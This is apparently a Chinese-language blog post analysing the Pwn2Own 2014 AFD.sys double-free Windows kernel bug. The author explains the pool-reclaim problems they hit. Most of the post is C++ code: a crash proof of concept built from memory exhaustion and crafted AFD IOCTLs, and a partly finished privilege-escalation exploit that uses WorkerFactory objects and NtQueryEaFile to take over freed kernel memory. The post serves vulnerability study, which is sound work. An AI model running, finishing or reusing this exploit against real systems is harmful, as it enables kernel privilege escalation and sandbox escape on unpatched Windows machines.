首页 > 代码库 > Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability
Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability
这个内核漏洞在Pwn2Own 2014上用来提权绕过IE沙箱(保护模式),siberas公司后来公布了漏洞的细节及利用方法,通过其公开的文档已经能够准确定位漏洞成因及利用方法。(http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf)
第一次分析double free类型的漏洞,并且想通过此漏洞进一步了解学习内核漏洞的利用技术。但分析到占位时,出现了WorkerFactory Object及controlled data占位不稳定的问题,在我的调试过程中,WorkerFactory Object和controlled data都有占不到位的情况发生,只有少数情况下两者都能成功占位。调试了许久依旧还没能解决,所以打算先放一放,有思路和时间了再进一步调试。
目前的改进思路是:
1.针对WorkerFactory Object占位,进行多次循环创建,在循环中进行创建(NtCreateWorkerFactory)、判断、删除(NtReleaseWorkerFactoryWorker)操作,当判断占位成功时跳出循环。
2.针对controlled data占位,采用多线程调用NtQueryEaFile进行占位(因为NtQueryEaFile会在函数末尾释放非分页内存,导致单线程循环调用时申请到同一片内存,从而无法成功占位)
3.怎么想前两种方法都有些繁琐,而且不一定能够实现。我想一定有更高级、稳定的占位方法的吧。。。 (希望有思路的朋友给我一点儿提示 :-) )
下面是crash的POC代码
1 #pragma comment(lib, "ws2_32.lib") 2 3 #include <WinSock2.h> 4 #include <windows.h> 5 #include <Winternl.h> 6 #include <Wingdi.h> 7 #include <iostream> 8 using namespace std; 9 10 typedef NTSTATUS (WINAPI *_NtDeviceIoControlFile)( 11 _In_ HANDLE FileHandle, 12 _In_ HANDLE Event, 13 _In_ PIO_APC_ROUTINE ApcRoutine, 14 _In_ PVOID ApcContext, 15 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 16 _In_ ULONG IoControlCode, 17 _In_ PVOID InputBuffer, 18 _In_ ULONG InputBufferLength, 19 _Out_ PVOID OutputBuffer, 20 _In_ ULONG OutputBufferLength 21 ); 22 23 int main() 24 { 25 HMODULE hNtDll = LoadLibrary("ntdll.dll"); 26 _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile"); 27 if (pNtDeviceIoControlFile == NULL) 28 { 29 FreeLibrary(hNtDll); 30 cout<<"Get NtDeviceIoControlFile Address failed!"<<endl; 31 return -1; 32 } 33 FreeLibrary(hNtDll); 34 35 36 WSAData wasData; 37 WSAStartup(WINSOCK_VERSION, &wasData); 38 39 SOCKET LocalSock; 40 LocalSock = socket(AF_INET, SOCK_STREAM, 0); 41 if(LocalSock == INVALID_SOCKET) 42 { 43 cout<<"[-] no luck creating socket!"<<endl; 44 WSACleanup(); 45 return -1; 46 } 47 48 cout<<"[+] got sock 0x%x"<<endl; 49 50 struct sockaddr_in to; 51 memset(&to, 0, sizeof(to)); 52 to.sin_addr.s_addr = inet_addr("127.0.0.1"); 53 to.sin_family = AF_INET; 54 to.sin_port = htons(135); 55 56 if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR) 57 { 58 cout<<"[-] connect failed!"<<endl; 59 WSACleanup(); 60 return -1; 61 } 62 63 cout<<"[+] sock connected."<<endl; 64 65 66 /* Prepare buffer */ 67 unsigned int targetsize = 0x100; 68 unsigned int virtaddress = 0x13371337; 69 unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff); 70 71 IO_STATUS_BLOCK StatuBlock ; 72 unsigned char inbuf1[48] = {0}; // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0) 73 unsigned char inbuf2[24] = {0}; // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4 74 PULONG point; 75 76 point = (PULONG)inbuf1; 77 point = point + 6; 78 *point++ = virtaddress; 79 *point++ = mdlsize; 80 point = point + 2; 81 *point = 1; 82 83 point = (PULONG)inbuf2; 84 *point++ = 1; 85 *point = 0xaaaaaaa; 86 87 /* Exhaust the system‘s physical memory. */ 88 int nBottomRect = 0x2aaaaaa ; 89 HRGN hrgn; 90 while (true) 91 { 92 hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1); 93 if (hrgn == 0) 94 { 95 break; 96 } 97 } 98 99 100 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);101 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);102 103 104 return 0;105 }
下面是我调试到一半的利用代码
1 #pragma comment(lib, "ws2_32.lib") 2 3 #include <WinSock2.h> 4 #include <windows.h> 5 #include <Winternl.h> 6 #include <Wingdi.h> 7 #include <iostream> 8 9 using namespace std; 10 11 typedef NTSTATUS (WINAPI *_NtDeviceIoControlFile)( 12 _In_ HANDLE FileHandle, 13 _In_ HANDLE Event, 14 _In_ PIO_APC_ROUTINE ApcRoutine, 15 _In_ PVOID ApcContext, 16 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 17 _In_ ULONG IoControlCode, 18 _In_ PVOID InputBuffer, 19 _In_ ULONG InputBufferLength, 20 _Out_ PVOID OutputBuffer, 21 _In_ ULONG OutputBufferLength 22 ); 23 24 #define WORKER_FACTORY_RELEASE_WORKER 0x0001 25 #define WORKER_FACTORY_WAIT 0x0002 26 #define WORKER_FACTORY_SET_INFORMATION 0x0004 27 #define WORKER_FACTORY_QUERY_INFORMATION 0x0008 28 #define WORKER_FACTORY_READY_WORKER 0x0010 29 #define WORKER_FACTORY_SHUTDOWN 0x0020 30 #define WORKER_FACTORY_ALL_ACCESS ( 31 STANDARD_RIGHTS_REQUIRED | 32 WORKER_FACTORY_RELEASE_WORKER | 33 WORKER_FACTORY_WAIT | 34 WORKER_FACTORY_SET_INFORMATION | 35 WORKER_FACTORY_QUERY_INFORMATION | 36 WORKER_FACTORY_READY_WORKER | 37 WORKER_FACTORY_SHUTDOWN 38 ) 39 40 typedef enum _WORKERFACTORYINFOCLASS 41 { 42 WorkerFactoryTimeout, 43 WorkerFactoryRetryTimeout, 44 WorkerFactoryIdleTimeout, 45 WorkerFactoryBindingCount, 46 WorkerFactoryThreadMinimum, 47 WorkerFactoryThreadMaximum, 48 WorkerFactoryPaused, 49 WorkerFactoryBasicInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryBasicInformation 50 WorkerFactoryAdjustThreadGoal, 51 WorkerFactoryCallbackType, 52 WorkerFactoryStackInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryStackInformation 53 MaxWorkerFactoryInfoClass 54 } WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; 55 56 typedef struct _WORKER_FACTORY_BASIC_INFORMATION 57 { 58 LARGE_INTEGER Timeout; 59 LARGE_INTEGER RetryTimeout; 60 LARGE_INTEGER IdleTimeout; 61 BOOLEAN Paused; 62 BOOLEAN TimerSet; 63 BOOLEAN QueuedToExWorker; 64 BOOLEAN MayCreate; 65 BOOLEAN CreateInProgress; 66 BOOLEAN InsertedIntoQueue; 67 BOOLEAN Shutdown; 68 ULONG BindingCount; 69 ULONG ThreadMinimum; 70 ULONG ThreadMaximum; 71 ULONG PendingWorkerCount; 72 ULONG WaitingWorkerCount; 73 ULONG TotalWorkerCount; 74 ULONG ReleaseCount; 75 LONGLONG InfiniteWaitGoal; 76 PVOID StartRoutine; 77 PVOID StartParameter; 78 HANDLE ProcessId; 79 SIZE_T StackReserve; 80 SIZE_T StackCommit; 81 NTSTATUS LastThreadCreationStatus; 82 } WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; 83 84 typedef NTSTATUS (WINAPI *_NtCreateWorkerFactory)( 85 __out PHANDLE WorkerFactoryHandleReturn, 86 __in ACCESS_MASK DesiredAccess, 87 __in_opt POBJECT_ATTRIBUTES ObjectAttributes, 88 __in HANDLE CompletionPortHandle, 89 __in HANDLE WorkerProcessHandle, 90 __in PVOID StartRoutine, 91 __in_opt PVOID StartParameter, 92 __in_opt ULONG MaxThreadCount, 93 __in_opt ULONG StackReserve, 94 __in_opt ULONG StackCommit 95 ); 96 97 typedef NTSTATUS (WINAPI *_NtQueryInformationWorkerFactory)( 98 __in HANDLE WorkerFactoryHandle, 99 __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,100 __out_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,101 __in ULONG WorkerFactoryInformationLength,102 __out_opt PULONG ReturnLength103 );104 105 typedef NTSTATUS (WINAPI *_NtSetInformationWorkerFactory)(106 __in HANDLE WorkerFactoryHandle,107 __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,108 __in_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,109 __in ULONG WorkerFactoryInformationLength110 );111 112 typedef NTSTATUS (WINAPI *_NtReleaseWorkerFactoryWorker)(113 __in HANDLE WorkerFactoryHandle114 );115 116 typedef NTSTATUS (WINAPI *_NtQueryEaFile)(117 _In_ HANDLE FileHandle,118 _Out_ PIO_STATUS_BLOCK IoStatusBlock,119 _Out_ PVOID Buffer,120 _In_ ULONG Length,121 _In_ BOOLEAN ReturnSingleEntry,122 _In_opt_ PVOID EaList,123 _In_ ULONG EaListLength,124 _In_opt_ PULONG EaIndex,125 _In_ BOOLEAN RestartScan126 );127 128 typedef struct _FILE_FULL_EA_INFORMATION {129 ULONG NextEntryOffset;130 UCHAR Flags;131 UCHAR EaNameLength;132 USHORT EaValueLength;133 CHAR EaName[1];134 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;135 136 137 138 139 void TppWorkerThread()140 {141 int i;142 for (i = 0; i <100; i++)143 {144 ;145 }146 return ;147 }148 149 int main()150 {151 HMODULE hNtDll = LoadLibrary("ntdll.dll"); 152 153 _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile");154 if (pNtDeviceIoControlFile == NULL)155 {156 FreeLibrary(hNtDll);157 cout<<"Get NtDeviceIoControlFile Address failed!"<<endl;158 return -1;159 }160 161 _NtCreateWorkerFactory pNtCreateWorkerFactory = (_NtCreateWorkerFactory)GetProcAddress(hNtDll, "NtCreateWorkerFactory");162 if (pNtCreateWorkerFactory == NULL)163 {164 FreeLibrary(hNtDll);165 cout<<"Get NtCreateWorkerFactory Address failed!"<<endl;166 return -1;167 }168 169 _NtQueryEaFile pNtQueryEaFile = (_NtQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");170 if (pNtQueryEaFile == NULL)171 {172 FreeLibrary(hNtDll);173 cout<<"Get NtQueryEaFile Address failed!"<<endl;174 return -1;175 }176 177 _NtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory");178 if (pNtQueryInformationWorkerFactory == NULL)179 {180 FreeLibrary(hNtDll);181 cout<<"Get NtQueryInformationWorkerFactory Address failed!"<<endl;182 return -1;183 }184 185 FreeLibrary(hNtDll);186 187 188 WSAData wasData;189 WSAStartup(WINSOCK_VERSION, &wasData);190 191 SOCKET LocalSock;192 LocalSock = socket(AF_INET, SOCK_STREAM, 0);193 if(LocalSock == INVALID_SOCKET)194 {195 cout<<"[-] no luck creating socket!"<<endl;196 WSACleanup();197 return -1;198 }199 200 cout<<"[+] got sock 0x%x"<<endl;201 202 struct sockaddr_in to;203 memset(&to, 0, sizeof(to));204 to.sin_addr.s_addr = inet_addr("127.0.0.1");205 to.sin_family = AF_INET;206 to.sin_port = htons(135);207 208 if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR)209 {210 cout<<"[-] connect failed!"<<endl;211 WSACleanup();212 return -1;213 }214 215 cout<<"[+] sock connected."<<endl;216 217 218 219 IO_STATUS_BLOCK StatuBlock ;220 NTSTATUS Ret;221 PULONG point;222 223 /* Prepare DeviceIoControl buffer */224 unsigned int targetsize = 0x100;225 unsigned int virtaddress = 0x13371337;226 unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff);227 unsigned char inbuf1[48] = {0}; // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0)228 unsigned char inbuf2[24] = {0}; // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4229 230 point = (PULONG)inbuf1;231 point = point + 6;232 *point++ = virtaddress;233 *point++ = mdlsize;234 point = point + 2;235 *point = 1;236 237 point = (PULONG)inbuf2;238 *point++ = 1;239 *point = 0xaaaaaaa; 240 241 242 /* Prepare the arguments of NtCreateWorkerFactory */243 HANDLE WorkerFactoryHandle;244 HANDLE CompletionPort ;245 CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0);246 HANDLE WorkerHandle ;247 WorkerHandle = GetCurrentProcess();248 249 250 /* Prepare the arguments of NtQueryEaFile */251 FILE_FULL_EA_INFORMATION FFEI_Buffer ;252 unsigned char EaListInputBuffer[0x100]={0};253 254 point = (PULONG)EaListInputBuffer; // 0x0xfffffa8000000300 - 0x2e0 = 0x0xfffffa8000000020255 point = point + 0x30 / 4;256 *point++ = 0x00000020;257 *point = 0xfffffa80;258 259 /* Prepare the arguments of NtQueryInformationWorkerFactory */260 WORKER_FACTORY_BASIC_INFORMATION basicInfo;261 262 /* Exhaust the system‘s physical memory. */263 int nBottomRect = 0x2aaaaaa ;264 HRGN hrgn;265 while (true)266 {267 hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1);268 if (hrgn == 0)269 {270 break;271 }272 }273 274 275 276 //AfdTransmitFile(+0x243 AfdTliGetTpInfo -> ExAllocateFromNPagedLookasideList -> AfdAllocateTpInfo -> ExAllocatePoolWithTagPriority)277 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0);278 279 280 /* Prepare Worker Factory Object for READ/WRITE-PRIMITIVES */281 //for (int i = 0; i < 50; i++)282 pNtCreateWorkerFactory(&WorkerFactoryHandle, WORKER_FACTORY_ALL_ACCESS, NULL, CompletionPort, WorkerHandle, TppWorkerThread, NULL, NULL, NULL, NULL);283 284 285 //AfdTransmitPackets286 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0);287 288 289 /* Replace the freed object data with controlled data */ 290 //pNtQueryEaFile((HANDLE)LocalSock, &StatuBlock, &FFEI_Buffer, sizeof(FFEI_Buffer), TRUE, InputBuffer, 0x100, NULL, FALSE);291 pNtQueryEaFile(NULL, &StatuBlock, NULL, NULL, TRUE, EaListInputBuffer, 0x100, NULL, FALSE);292 293 pNtQueryInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryBasicInformation, &basicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), NULL);294 295 closesocket(LocalSock);296 WSACleanup();297 298 return 0;299 }